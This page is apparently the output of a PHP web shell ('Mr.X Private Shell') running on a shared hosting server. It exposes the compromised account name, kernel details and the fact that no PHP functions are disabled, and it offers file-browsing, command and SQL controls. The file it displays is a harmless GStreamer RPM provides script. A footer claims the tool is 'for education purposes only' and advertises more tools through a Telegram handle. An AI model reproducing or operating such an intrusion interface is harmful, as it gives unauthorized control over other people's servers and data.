Uname: Linux 50-6-4-53.bluehost.com 5.14.0-611.41.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 19 03:50:11 EDT 2026 x86_64
User: 1011 (dccreditrepairto)
Group: 1010 (dccreditrepairto)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//usr/lib/rpm      ( Reset | Go to )
File Name: gstreamer1.prov
#!/usr/bin/sh
#
# Script to install in:
# /usr/lib/rpm/redhat/find-provides.d
#
# Transform GStreamer auto install info into RPM provides
#
# Author: Bastien Nocera <[email protected]>
# Based on other provides scripts from RPM
#

filelist=`grep -e '^.*/gstreamer-1.0/lib.*.so$' | sed "s/['\"]/\\\&/g"`

# --- Alpha does not mark 64bit dependencies•
case `uname -m` in
  alpha*)    mark64="" ;;
  *)        mark64="()(64bit)" ;;
esac

solist=$(echo $filelist | \
    xargs file -L 2>/dev/null | grep "ELF" | cut -d: -f1 )

function getmark()
{
    lib64=`if file -L $1 2>/dev/null | \
        grep "ELF 64-bit" >/dev/null; then echo -n "$mark64"; fi`
}

function libdir()
{
    buildlibdir=`dirname $1`
    buildlibdir=`dirname $buildlibdir`
}

for so in $solist ; do
    getmark $so
    libdir $so
    LD_LIBRARY_PATH=$buildlibdir gst-inspect-1.0 --print-plugin-auto-install-info --rpm $so 2> /dev/null | while read line ; do
        echo -n "$line";
        echo -n "$lib64"
        echo
    done
done

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL